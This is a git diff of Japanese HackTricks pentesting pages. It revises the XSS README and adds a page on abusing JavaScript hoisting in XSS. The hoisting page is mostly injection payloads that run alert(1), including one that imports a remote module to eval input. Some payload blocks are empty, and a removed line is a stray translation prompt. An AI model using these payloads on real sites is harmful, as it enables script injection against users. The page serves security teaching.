+以下も使用できます: [https://xsshunter.com/](https://xsshunter.com) ```markup "> "> @@ -1668,9 +1278,9 @@ document.getElementById("message").src += "&"+e.data;
``` -### 正規表現 - 隠されたコンテンツへのアクセス +### Regex - 隠されたコンテンツへのアクセス -[**この解説記事**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)から、JSから値が消えても、異なるオブジェクトのJS属性にそれらを見つけることができることがわかります。たとえば、正規表現の入力は、正規表現の入力の値が削除された後でも見つけることができます。 +[**このライトアップ**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)から、JSからいくつかの値が消えても、異なるオブジェクトのJS属性でそれらを見つけることが可能であることがわかります。例えば、REGEXの入力は、regexの入力値が削除された後でも見つけることができます: ```javascript // Do regex with flag flag="CTF{FLAG}" @@ -1689,11 +1299,11 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %} -## 他の脆弱性を悪用したXSS +## 他の脆弱性を悪用するXSS ### Markdown内のXSS -Markdownコードを注入して、レンダリングされる可能性があります。XSSを取得できるか確認してください: +Markdownコードを注入してレンダリングされるかもしれませんか?もしそうなら、XSSを得ることができるかもしれません!確認してください: {% content-ref url="xss-in-markdown.md" %} [xss-in-markdown.md](xss-in-markdown.md) @@ -1701,26 +1311,23 @@ Markdownコードを注入して、レンダリングされる可能性があり ### XSSからSSRFへ -**キャッシュを使用するサイト**でXSSを取得しましたか?次のペイロードを使用して、Edge Side Include Injectionを介してSSRFにアップグレードしてみてください: +**キャッシングを使用するサイト**でXSSを得ましたか?このペイロードを使用してEdge Side Include Injectionを通じて**SSRFにアップグレード**を試みてください: ```python ``` -以下は、ハッキング技術に関する本の内容です。以下の内容は、ファイルpentesting-web/xss-cross-site-scripting/README.mdからのものです。関連する英文を日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文を正確に保ちます。コード、ハッキング技術の名前、ハッキングの言葉、クラウド/SaaSプラットフォームの名前(Workspace、aws、gcpなど)、'leak'という単語、ペンテスト、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加のものは追加しないでください。 - -```markdown -Use it to bypass cookie restrictions, XSS filters and much more! -More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md). +クッキーの制限やXSSフィルターなどを回避するために使用します! +この技術についての詳細はこちら:[**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)。 ### 動的に作成されたPDF内のXSS -Webページがユーザーが制御する入力を使用してPDFを作成している場合、PDFを作成しているボットを**トリック**して**任意のJSコードを実行**させることができます。 -したがって、**PDF作成ボットが**いくつかの種類の**HTML** **タグを見つけると**、それらを**解釈**し、これを**悪用**して**サーバーXSS**を引き起こすことができます。 +ユーザーがコントロールする入力を使用してPDFを作成するWebページがある場合、PDFを作成する**ボットをだまして任意のJSコードを実行させる**ことができます。 +したがって、**PDF作成ボットがHTMLタグを見つける**と、それらを**解釈**し、**サーバーXSS**を引き起こすためにこの振る舞いを**悪用**することができます。 {% content-ref url="server-side-xss-dynamic-pdf.md" %} [server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md) {% endcontent-ref %} -HTMLタグを挿入できない場合は、**PDFデータを挿入**してみる価値があります。 +HTMLタグを注入できない場合は、**PDFデータを注入する**ことを試みる価値があります: {% content-ref url="pdf-injection.md" %} [pdf-injection.md](pdf-injection.md) @@ -1728,16 +1335,15 @@ HTMLタグを挿入できない場合は、**PDFデータを挿入**してみる ### Amp4Email内のXSS -AMPは、モバイルクライアント上で超高速なWebページを開発するための技術です。**AMPはJavaScriptでバックアップされたHTMLタグのセット**であり、パフォーマンスとセキュリティに重点を置いた機能を簡単に有効にすることができます。[AMPコンポーネント](https://amp.dev/documentation/components/?format=websites)には、カルーセル、レスポンシブフォーム要素、リモートエンドポイントからの新鮮なコンテンツの取得など、あらゆるものがあります。 +AMPは、モバイルクライアント上で超高速なWebページを開発するための技術として知られています。**AMPは、JavaScriptによってサポートされるHTMLタグのセット**で、パフォーマンスとセキュリティに焦点を当てつつ、簡単に機能を有効にすることができます。カルーセルからレスポンシブなフォーム要素、リモートエンドポイントからの新鮮なコンテンツの取得まで、あらゆるものに[AMPコンポーネント](https://amp.dev/documentation/components/?format=websites)があります。 -[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/)形式では、電子メールメッセージで使用できる[AMPコンポーネントのサブセット](https://github.com/ampproject/amphtml/blob/master/docs/spec/email/amp-email-components.md)が提供されています。AMPメールの受信者は、電子メール内で直接AMPコンポーネントを表示および操作することができます。 +[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/)フォーマットは、メールメッセージで使用できる[AMPコンポーネントのサブセット](https://github.com/ampproject/amphtml/blob/master/docs/spec/email/amp-email-components.md)を提供します。AMPメールの受信者は、メール内で直接AMPコンポーネントを表示し、対話することができます。 -例:[**GmailのAmp4Email内のXSSに関する記事**](https://adico.me/post/xss-in-gmail-s-amp4email). +例 [**GmailのAmp4Email内のXSSに関する記事**](https://adico.me/post/xss-in-gmail-s-amp4email)。 -### ファイルのアップロードによるXSS(svg) +### ファイルをアップロードしてXSSを実行する(svg) -次のようなファイルを画像としてアップロードします([http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)から): -``` +以下のようなファイルを画像としてアップロードします([http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)より): ```markup Content-Type: multipart/form-data; boundary=---------------------------232181429808 Content-Length: 574 @@ -1793,15 +1399,15 @@ id="foo"/> ```xml ``` -**[https://github.com/allanlw/svg-cheatsheet](https://github.com/allanlw/svg-cheatsheet)**で**さらに多くのSVGペイロード**を見つけることができます。 +**さらに多くのSVGペイロードを** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) **で見つける** -## その他のJSトリックと関連情報 +## Misc JS Tricks & 関連情報 {% content-ref url="other-js-tricks.md" %} [other-js-tricks.md](other-js-tricks.md) {% endcontent-ref %} -## XSSリソース +## XSS リソース * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection) * [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list) @@ -1809,12 +1415,12 @@ id="foo"/> * [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec) * [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html) -### XSSツール +### XSS ツール -[**ここでXSSのツールを見つける**](xss-tools.md)**ことができます。** +[**こちらでXSS用のツールを見つける**](xss-tools.md)**。** \ -**バグバウンティのヒント**: **ハッカーによって作成されたプレミアムなバグバウンティプラットフォーム**である**Intigritiに登録**してみてください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう! +**バグバウンティのヒント**: **Intigriti** に**登録**し、**ハッカーによって作られた、ハッカーのためのプレミアムバグバウンティプラットフォーム**である**Intigriti**で活動を始めましょう![**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) で今日から参加し、**$100,000**までのバウンティを獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -1822,10 +1428,10 @@ id="foo"/>
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したり、HackTricksを**PDFでダウンロード**したりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 -* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。 +* **サイバーセキュリティ会社**で働いていますか?**HackTricksであなたの会社を広告したいですか?** または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?** [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、私たちの独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションをご覧ください。 +* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com) を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に**参加するか**、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live) を**フォローしてください。** +* [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) と [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) にPRを提出して、あなたのハッキングのコツを**共有してください。** diff --git a/pentesting-web/xss-cross-site-scripting/js-hoisting.md b/pentesting-web/xss-cross-site-scripting/js-hoisting.md new file mode 100644 index 000000000..6a4db4159 --- /dev/null +++ b/pentesting-web/xss-cross-site-scripting/js-hoisting.md @@ -0,0 +1,153 @@ +# JS Hoisting + +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +* **サイバーセキュリティ会社**で働いていますか?**HackTricksで会社の広告を見たいですか**?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか**?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください。 +* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。 +* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか**、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**に**フォローしてください。** +* **ハッキングのコツを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** + +
+ +## 基本情報 + +{% hint style="success" %} +JavaScript Hoistingは、関数、変数、クラス、またはインポートの**宣言がコードの実行前にそのスコープの先頭に移動するように見える**プロセスを指します。 +{% endhint %} + +JavaScriptエンジンは、任意のスクリプトに対して(少なくとも2回の)パスを行います。これは大幅な単純化ですが、JSの実行は2つのステップで構成されていると考えることができます。**まず、コードが解析され**、**構文エラー**のチェックや抽象構文木への変換が含まれます。このステップには、特定の形式の宣言が実行スタックの先頭に「移動」(ホイスティング)されると説明される**ホイスティング**も含まれます。コードが解析ステップを通過すると、エンジンはスクリプトの**実行を続けます**。 + +1. (注入されたペイロードを含む)任意のコードは構文規則に従わなければなりません。**最終的なスクリプトのどこかで構文が無効であれば、何も実行されません**。 +2. スクリプト内のコードが配置される場所は重要かもしれませんが、**コードスニペットのテキスト表現は、最終的にランタイムによって実行されるものと同じではありません**。任意の言語には、式が実行される順序を決定する規則があるかもしれません。 + +### ホイスティングの4つのタイプ + +MDNのホイスティングの説明に戻ると、JavaScriptには4種類のホイスティングがあると読むことができます。MDNから直接引用します: + +> 1. 宣言される行より前のスコープで変数の値を使用できること。(「値のホイスティング」) +> 2. 宣言される行より前のスコープで変数を参照できるが、`ReferenceError`を投げずに、値は常に`undefined`であること。(「宣言のホイスティング」) +> 3. 変数の宣言が、それが宣言される行より前のスコープでの動作変更を引き起こすこと。 +> 4. 宣言の副作用が、それを含む残りのコードを評価する前に生じること。 + +続いて + +> 上記の4つの関数宣言はタイプ1の動作でホイスティングされます;`var`宣言はタイプ2の動作でホイスティングされます;[`let`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let)、[`const`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const)、および[`class`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/class)宣言(レキシカル宣言とも呼ばれます)はタイプ3の動作でホイスティングされます;[`import`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import)宣言はタイプ1とタイプ4の動作でホイスティングされます。 + +## シナリオ + +したがって、宣言されていないオブジェクトが使用された後に**JSコードを注入**できるシナリオがある場合、それを宣言することで**構文を修正**できます(エラーを投げる代わりにあなたのコードが実行されるように)。 +```javascript +// The function vulnerableFunction is not defined +vulnerableFunction('test', ''); +// You can define it in your injection to execute JS +//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b +'-alert(1)-''); function vulnerableFunction(a,b){return 1}; + +//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1) +test'); function vulnerableFunction(a,b){ return 1 };alert(1) +``` + +```javascript +// If a variable is not defined, you could define it in the injection +// In the following example var a is not defined +function myFunction(a,b){ +return 1 +}; +myFunction(a, '') + +//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b +test'); var a = 1; alert(1); +``` + +```javascript +// If an undeclared class is used, you cannot declare it AFTER being used +var variable = new unexploitableClass(); + +// But you can actually declare it as a function, being able to fix the syntax with something like: +function unexploitableClass() { +return 1; +} +alert(1); +``` + +```javascript +// Properties are not hoisted +// So the following examples where the 'cookie' attribute doesn´t exist +// cannot be fixed if you can only inject after that code: +test.cookie('leo','INJECTION') +test['cookie','injection'] +``` +## さらなるシナリオ +```javascript +// Undeclared var accessing to an undeclared method +x.y(1,INJECTION) +// You can inject +alert(1));function x(){}// +// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined +x.y(1,alert(1));function x(){}//) +``` + +```javascript +// Undeclared var accessing 2 nested undeclared method +x.y.z(1,INJECTION) +// You can inject +");import {x} from "https://example.com/module.js"// +// It will be executed +x.y.z("alert(1)");import {x} from "https://example.com/module.js"//") + + +// The imported module: +// module.js +var x = { +y: { +z: function(param) { +eval(param); +} +} +}; + +export { x }; +``` + +```javascript +// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/ +// It was injected the: let config;`-alert(1)`//` +// With the goal of making in the block the var config be empty, so the return is not executed +// And the same injection was replicated in the body URL to execute an alert + +try { +if(config){ +return; +} +// TODO handle missing config for: https://try-to-catch.glitch.me/"+` +let config;`-alert(1)`//`+" +} catch { +fetch("/error", { +method: "POST", +body: { +url:"https://try-to-catch.glitch.me/"+` +let config;`-alert(1)-`//`+"" +} +}) +} +``` +## 参考文献 + +* [https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios](https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios) +* [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting) +* [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/) + +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +* **サイバーセキュリティ会社**で働いていますか?**HackTricksで会社の広告を掲載**したいですか?または、**PEASSの最新バージョンにアクセス**したり、**HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションです。 +* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**にフォローしてください。** +* **ハッキングのコツを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** + +